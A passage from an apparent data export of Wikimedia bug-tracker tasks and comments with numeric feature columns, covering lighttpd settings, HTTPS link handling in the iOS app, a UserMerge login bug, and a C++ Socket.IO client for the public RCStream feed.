lighttpd-starter: Update default settings to overcome some issues. Bug: 68431 updated parameters moved default php to if condition

GERRIT_URL"
320525,Update lighttpd default settings,"Change 148660 abandoned by Hedonil:
lighttpd-starter: Update default settings to overcome some issues. Bug: 68431 moved default php to if condition

Reason:
mismatch

https://gerrit.wikimedia.org/r/148660",,,1406124949,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-h5bok6f5ex2ofhh3li5x,task_subcomment,,True,c3,1,False,,,-50,True,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,9.0,0.0,6.0,0.0,0.0,11.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.514285714285714,0.8,"Change 148660 abandoned by Hedonil:
lighttpd-starter: Update default settings to overcome some issues. Bug: 68431 moved default php to if condition

Reason:
mismatch

GERRIT_URL"
320520,Update lighttpd default settings,"Change 148660 had a related patch set uploaded by Hedonil:
lighttpd-starter: Update default settings to overcome some issues. Bug: 68431 moved default php to if condition

https://gerrit.wikimedia.org/r/148660",,,1406124857,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-h5bok6f5ex2ofhh3li5x,task_subcomment,,True,c3,1,False,,,-50,True,3.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,3.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,31.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,14.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,0.0,0.0,11.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,4.514285714285714,0.8857142857142857,"Change 148660 had a related patch set uploaded by Hedonil:
lighttpd-starter: Update default settings to overcome some issues. Bug: 68431 moved default php to if condition

GERRIT_URL"
320515,Update lighttpd default settings,"(In reply to metatron from comment #0)
> [...]

> Additional:
> Is  /usr/bin/webservice script puppetized?

It's at <http://git.wikimedia.org/blob/labs%2Ftoollabs/master/misctools%2Fwebservice>.",,,1406119997,,PHID-USER-vk6mlmacfhx77egryy5i,False,,,PHID-TASK-h5bok6f5ex2ofhh3li5x,task_subcomment,,True,c3,1,True,,,-50,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,5.0,18.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.8636363636363638,0.8181818181818182,"(In reply to metatron from comment #0)
QUOTE

QUOTE
QUOTE

It's at <URL"
320511,Update lighttpd default settings,"Change 148637 had a related patch set uploaded by Hedonil:
lighttpd-starter: Update default settings to oversome some issues. Bug: 68431 hange-Id: I17ef551fd75dabb60c5c47b42eb7644109acad29i

https://gerrit.wikimedia.org/r/148637",,,1406113787,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-h5bok6f5ex2ofhh3li5x,task_subcomment,,True,c3,1,False,,,-50,True,3.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,21.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,0.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,5.323529411764706,0.8823529411764706,"Change 148637 had a related patch set uploaded by Hedonil:
lighttpd-starter: Update default settings to oversome some issues. Bug: 68431 hange-Id: I17ef551fd75dabb60c5c47b42eb7644109acad29i

GERRIT_URL"
70330,[iOS] webview Wikipedia link long press convert to HTTPS,"This is a feature request to have longpresses on hyperlinks that are on Wikipedia domains show as HTTPS in the flyup and use HTTPS in the flyup menu targets.

--------------------------
**Version**: Beta
**Severity**: enhancement",Needs Triage,90.0,1405967400,1406239154.0,PHID-USER-srhlj2447vmpmrfhqnfa,False,,False,PHID-TASK-phral7ytyuc3n77niea5,task_description,resolved,True,c3,1,True,False,True,-50,True,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,2.0,0.0,29.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,6.0,4.0,15.0,0.0,2.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,4.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,4.145833333333333,0.7083333333333334,"This is a feature request to have longpresses on hyperlinks that are on Wikipedia domains show as HTTPS in the flyup and use HTTPS in the flyup menu targets.

--------------------------
**Version**: Beta
**Severity**: enhancement"
315852,[iOS] webview Wikipedia link long press convert to HTTPS,"Change 148162 merged by Mhurd:
Use https: base address for long-press link menu

https://gerrit.wikimedia.org/r/148162",,,1406059144,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-phral7ytyuc3n77niea5,task_subcomment,,True,c3,1,False,,,-50,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,35.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,10.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.95,"Change 148162 merged by Mhurd:
Use https: base address for long-press link menu

GERRIT_URL"
315846,[iOS] webview Wikipedia link long press convert to HTTPS,"Change 148162 had a related patch set uploaded by Brion VIBBER:
Use https: base address for long-press link menu

https://gerrit.wikimedia.org/r/148162",,,1405970884,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-phral7ytyuc3n77niea5,task_subcomment,,True,c3,1,False,,,-50,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,31.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,19.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,8.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.115384615384615,0.9615384615384616,"Change 148162 had a related patch set uploaded by Brion VIBBER:
Use https: base address for long-press link menu

GERRIT_URL"
315839,[iOS] webview Wikipedia link long press convert to HTTPS,This is a one-character fix. :D Testing now...,,,1405970651,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-phral7ytyuc3n77niea5,task_subcomment,,True,c3,1,True,,,-50,True,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,17.0,0.0,0.0,17.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,3.25,1.0,This is a one-character fix. :D Testing now...
70317,Login not possible and nor error message it username is deleted/merged by UserMerge extension,"**Author:** `mluxen`

**Description:**
A new Wiki user is created and linked to a Google account. If this user is now deleted by UserMerge extension the reference within the user_google_user table doesn't match as it's not deleted automatically by another extension (UserMerge in this case).
Afterwards it's not possible to login again another/new user until the whole table is deleted or this specific user entry. The user is always redirected to the main wiki page with status ""not login"". That means ""Login"" is still available in the upper right corner of MW.
The table must be created again if it's deleted completely in the step before.

--------------------------
**Version**: master
**Severity**: normal",Needs Triage,90.0,1405941360,1407714038.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-wxxjqfa225z6fpb5272k,task_description,resolved,True,c3,1,False,False,True,-50,True,0.0,0.0,0.5,3.0,2.0,6.5,0.5,0.0,0.0,1.0,2.5,0.5,0.0,0.0,0.0,0.0,0.0,7.5,8.5,0.0,0.5,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,6.0,0.5,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,3.0,0.5,0.0,0.0,0.0,0.0,12.0,0.5,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,6.0,3.5,9.5,1.0,1.0,9.0,0.0,0.0,0.0,0.0,2.5,0.0,0.0,0.0,1.5,8.5,5.0,0.0,2.5,0.0,1.5,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,3.9465994531784006,0.6797676008202325,"**Author:** CODE

**Description:**
A new Wiki user is created and linked to a Google account. If this user is now deleted by UserMerge extension the reference within the user_google_user table doesn't match as it's not deleted automatically by another extension (UserMerge in this case).
Afterwards it's not possible to login again another/new user until the whole table is deleted or this specific user entry. The user is always redirected to the main wiki page with status ""not login"". That means ""Login"" is still available in the upper right corner of MW.
The table must be created again if it's deleted completely in the step before.

--------------------------
**Version**: master
**Severity**: normal"
315150,Login not possible and nor error message it username is deleted/merged by UserMerge extension,"@Mike: I will set this as fixed, if you have still problems, feel free to reopen.",,,1407714038,,PHID-USER-c5xwrfdyp3dckkh2nkoj,False,,,PHID-TASK-wxxjqfa225z6fpb5272k,task_subcomment,,True,c3,1,True,,,-47,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,15.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,10.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,10.0,15.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6,0.95,"SCREEN_NAME: I will set this as fixed, if you have still problems, feel free to reopen."
315141,Login not possible and nor error message it username is deleted/merged by UserMerge extension,"@Mike: Can you please verify, that this helps in your problem? :) Just load the extension new please.",,,1406010571,,PHID-USER-c5xwrfdyp3dckkh2nkoj,False,,,PHID-TASK-wxxjqfa225z6fpb5272k,task_subcomment,,True,c3,1,True,,,-50,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,9.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,14.0,5.0,0.0,9.0,0.0,5.0,0.0,0.0,9.0,5.0,5.0,0.0,9.0,9.0,0.0,5.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.090909090909091,0.9545454545454546,"SCREEN_NAME: Can you please verify, that this helps in your problem? :) Just load the extension new please."
315130,Login not possible and nor error message it username is deleted/merged by UserMerge extension,"Change 148108 merged by jenkins-bot:
Extended Login-workflow

https://gerrit.wikimedia.org/r/148108",,,1406010442,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wxxjqfa225z6fpb5272k,task_subcomment,,True,c3,1,False,,,-50,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.466666666666667,0.9333333333333333,"Change 148108 merged by jenkins-bot:
Extended Login-workflow

GERRIT_URL"
315122,Login not possible and nor error message it username is deleted/merged by UserMerge extension,"Change 148108 had a related patch set uploaded by Florianschmidtwelzow:
WIP: Extended Login-workflow

https://gerrit.wikimedia.org/r/148108",,,1405962664,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wxxjqfa225z6fpb5272k,task_subcomment,,True,c3,1,False,,,-50,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,30.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.05,0.95,"Change 148108 had a related patch set uploaded by Florianschmidtwelzow:
WIP: Extended Login-workflow

GERRIT_URL"
70093,Login link shows garbage on en.wikipedia.beta.wmflabs.org,"1) Go to http://en.wikipedia.beta.wmflabs.org/wiki/special:ContentTranslation while logged out
2) Go to http://en.wikipedia.beta.wmflabs.org/wiki/Special:ContentTranslation

Observed: 1) wikicode 2) ""null""

--------------------------
**Version**: master
**Severity**: normal",Needs Triage,90.0,1405503000,1405523028.0,PHID-USER-732lqsmz4v6bss3kln2v,False,,False,PHID-TASK-rgpizmz3q34efyfv6za2,task_description,resolved,True,c3,1,True,False,True,-51,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,9.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,0.5116279069767442,"1) Go to URL while logged out
2) Go to URL

Observed: 1) wikicode 2) ""null""

--------------------------
**Version**: master
**Severity**: normal"
316362,Login link shows garbage on en.wikipedia.beta.wmflabs.org,"Change 146777 merged by jenkins-bot:
Correct the order of validations

https://gerrit.wikimedia.org/r/146777",,,1405523013,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-rgpizmz3q34efyfv6za2,task_subcomment,,True,c3,1,False,,,-51,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,19.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.5625,1.0,"Change 146777 merged by jenkins-bot:
Correct the order of validations

GERRIT_URL"
316359,Login link shows garbage on en.wikipedia.beta.wmflabs.org,"Change 146777 had a related patch set uploaded by Santhosh:
Correct the order of validations

https://gerrit.wikimedia.org/r/146777",,,1405521205,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-rgpizmz3q34efyfv6za2,task_subcomment,,True,c3,1,False,,,-51,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,21.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.7894736842105265,1.0,"Change 146777 had a related patch set uploaded by Santhosh:
Correct the order of validations

GERRIT_URL"
69955,Stream: Websocket client fails on ws://stream.wikimedia.org/rc: HTTP/1.1 404 Not Found,"using https://github.com/dhbaird/easywsclient , with the URL adapted to

ws = WebSocket::from_url(""ws://stream.wikimedia.org/rc"");

results in 

easywsclient: connecting: host=stream.wikimedia.org port=80 path=/rc
ERROR: Got bad status connecting to ws://stream.wikimedia.org/rc: HTTP/1.1 404 Not Found


which is distinct from Bug 66989 (which uses a socketio specific library, and which reports 502's)

--------------------------
**Version**: wmf-deployment
**Severity**: normal",Needs Triage,90.0,1405280880,1420979426.0,PHID-USER-muirnivxp5hzppn2a3z7,False,PHID-USER-muirnivxp5hzppn2a3z7,False,PHID-TASK-ldiszp63kknlkcrolezf,task_description,invalid,True,c3,1,True,True,True,-51,True,0.0,0.0,0.0,0.0,1.0,5.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,2.0,1.0,6.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,1.0,4.0,1.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,1.0,13.0,0.0,1.0,6.0,0.0,1.0,0.0,0.0,1.0,0.0,4.0,0.0,0.0,6.0,8.0,0.0,1.0,0.0,0.0,0.0,4.0,1.0,0.0,4.0,0.0,0.0,0.0,4.729411764705882,0.7058823529411765,"using URL , with the URL adapted to

ws = WebSocket::from_url(""ws://stream.wikimedia.org/rc"");

results in 

easywsclient: connecting: host=stream.wikimedia.org port=80 path=/rc
ERROR: Got bad status connecting to ws://stream.wikimedia.org/rc: HTTP/1.1 404 Not Found


which is distinct from Bug 66989 (which uses a socketio specific library, and which reports 502's)

--------------------------
**Version**: wmf-deployment
**Severity**: normal"
398003,Stream: Websocket client fails on ws://stream.wikimedia.org/rc: HTTP/1.1 404 Not Found,"No, it was because I tried to connect using plain websockets, which is a nonsensical thing to do (socket.io is a protocol that runs /on top of/ websockets (or xmlhttprequests, or...). The rcstream docs were a bit unclear about that, but I fixed that now: https://wikitech.wikimedia.org/w/index.php?title=RCStream&diff=140483&oldid=139795",,,1420979426,,PHID-USER-muirnivxp5hzppn2a3z7,False,,,PHID-TASK-ldiszp63kknlkcrolezf,task_subcomment,,True,c3,1,True,,,-25,True,0.0,0.0,0.0,0.0,0.0,9.0,7.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,11.0,0.0,4.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,14.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,7.0,7.0,9.0,4.0,5.0,11.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,5.0,11.0,2.0,0.0,0.0,0.0,5.0,0.0,4.0,5.0,0.0,2.0,0.0,0.0,2.0,3.8035714285714284,0.7678571428571429,"No, it was because I tried to connect using plain websockets, which is a nonsensical thing to do (socket.io is a protocol that runs /on top of/ websockets (or xmlhttprequests, or...). The rcstream docs were a bit unclear about that, but I fixed that now: URL"
397951,Stream: Websocket client fails on ws://stream.wikimedia.org/rc: HTTP/1.1 404 Not Found,This isn't T68232 is it?,,,1420946742,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-ldiszp63kknlkcrolezf,task_subcomment,,True,c3,1,True,,,-25,True,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,29.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,14.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.857142857142857,0.8571428571428571,This isn't T68232 is it?
310161,Stream: Websocket client fails on ws://stream.wikimedia.org/rc: HTTP/1.1 404 Not Found,"Okay, this seems to be because of Socket.IO. Basically, it's not possible to connect using plain websockets, as there's some opaque (and non-documented!!) protocol above it.

How to connect using websockets:

1) Go to http://stream.wmflabs.org/socket.io/1/. Copy the first integer.
2) Use ws://stream.wmflabs.org/socket.io/1/websocket/<that integer> as websockets URL
3) Don't forget to reply to pings!


The following code sort-of works using the library linked in #0:

#include ""easywsclient.hpp""
#include <iostream>
#include <cstdlib>
#include <assert.h>
#include <stdio.h>
#include <string>

using easywsclient::WebSocket;
static WebSocket::pointer ws = NULL;

void handle_message(const std::string & message)
{
    printf("">>> %s\n"", message.c_str());
    if (message == ""world"") { ws->close(); }
}

int main(int argc, char *argv[])
{
    if (argc != 2) {
        std::cout << ""ERROR: must provide WS url; use the following:\n""
                  << argv[0] << "" ws://stream.wmflabs.org/socket.io/1/websocket/`curl http://stream.wmflabs.org/socket.io/1/ | cut -d: -f1`\n"";
        exit(1);
    }
    ws = WebSocket::from_url(argv[1]);
    assert(ws);
    ws->send(""5::/rc:{\""name\"": \""subscribe\"", \""args\"": [\""*\""]}"");
    ws->send(""hello"");
    while (ws->getReadyState() != WebSocket::CLOSED) {
      ws->poll();
      ws->dispatch(handle_message);
    }
    delete ws;
    return 0;
}",,,1405292122,,PHID-USER-muirnivxp5hzppn2a3z7,False,,,PHID-TASK-ldiszp63kknlkcrolezf,task_subcomment,,True,c3,1,True,,,-51,True,0.25,0.0,0.0,0.0,0.5,2.0,0.25,0.25,0.0,0.5,0.75,0.25,0.0,0.0,0.25,0.0,0.25,1.25,4.75,0.0,1.0,0.25,0.25,0.0,0.0,0.0,0.0,0.25,0.0,0.0,0.25,2.75,0.25,0.5,0.25,0.0,0.25,0.0,0.75,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.25,0.25,0.0,0.0,0.0,0.0,0.25,0.0,0.0,0.25,0.0,0.0,0.25,0.0,0.0,0.0,0.0,0.0,1.0,0.25,4.75,1.25,0.5,1.5,0.0,0.0,1.25,1.75,3.0,0.5,2.0,0.0,0.5,4.75,5.5,0.0,4.75,0.0,0.5,0.0,0.25,0.0,0.0,1.25,0.0,0.0,6.25,3.8725222146274776,0.5761278195488722,"Okay, this seems to be because of Socket.IO. Basically, it's not possible to connect using plain websockets, as there's some opaque (and non-documented!!) protocol above it.

How to connect using websockets:

1) Go to URL Copy the first integer.
2) Use ws://stream.wmflabs.org/socket.io/1/websocket/<that integer> as websockets URL
3) Don't forget to reply to pings!


The following code sort-of works using the library linked in #0:

#include ""easywsclient.hpp""
#include <iostream>
#include <cstdlib>
#include <assert.h>
#include <stdio.h>
#include <string>

using easywsclient::WebSocket;
static WebSocket::pointer ws = NULL;

void handle_message(const std::string & message)
{
    printf("">>> %s\n"", message.c_str());
    if (message == ""world"") { ws->close(); }
}

int main(int argc, char *argv[])
{
    if (argc != 2) {
        std::cout << ""ERROR: must provide WS url; use the following:\n""
                  << argv[0] << "" ws://stream.wmflabs.org/socket.io/1/websocket/CODE\n"";
        exit(1);
    }
    ws = WebSocket::from_url(argv[1]);
    assert(ws);
    ws->send(""5::/rc:{\""name\"": \""subscribe\"", \""args\"": [\""*\""]}"");
    ws->send(""hello"");
    while (ws->getReadyState() != WebSocket::CLOSED) {
      ws->poll();
      ws->dispatch(handle_message);
    }
    delete ws;
    return 0;
}"
69667,REST API page on Gerrit loads prettify.js and .css over HTTP,"https://gerrit.wikimedia.org/r/Documentation/rest-api.html loads:

* http://cdnjs.cloudflare.com/ajax/libs/prettify/r298/prettify.min.js
* http://cdnjs.cloudflare.com/ajax/libs/prettify/r298/prettify.min.css

cdnjs.cloudflare.com supports HTTPS, so I think we should change the protocol to HTTPS, or remove them entirely because I don't see any visual difference between loading them or not.

--------------------------
**Version**: unspecified
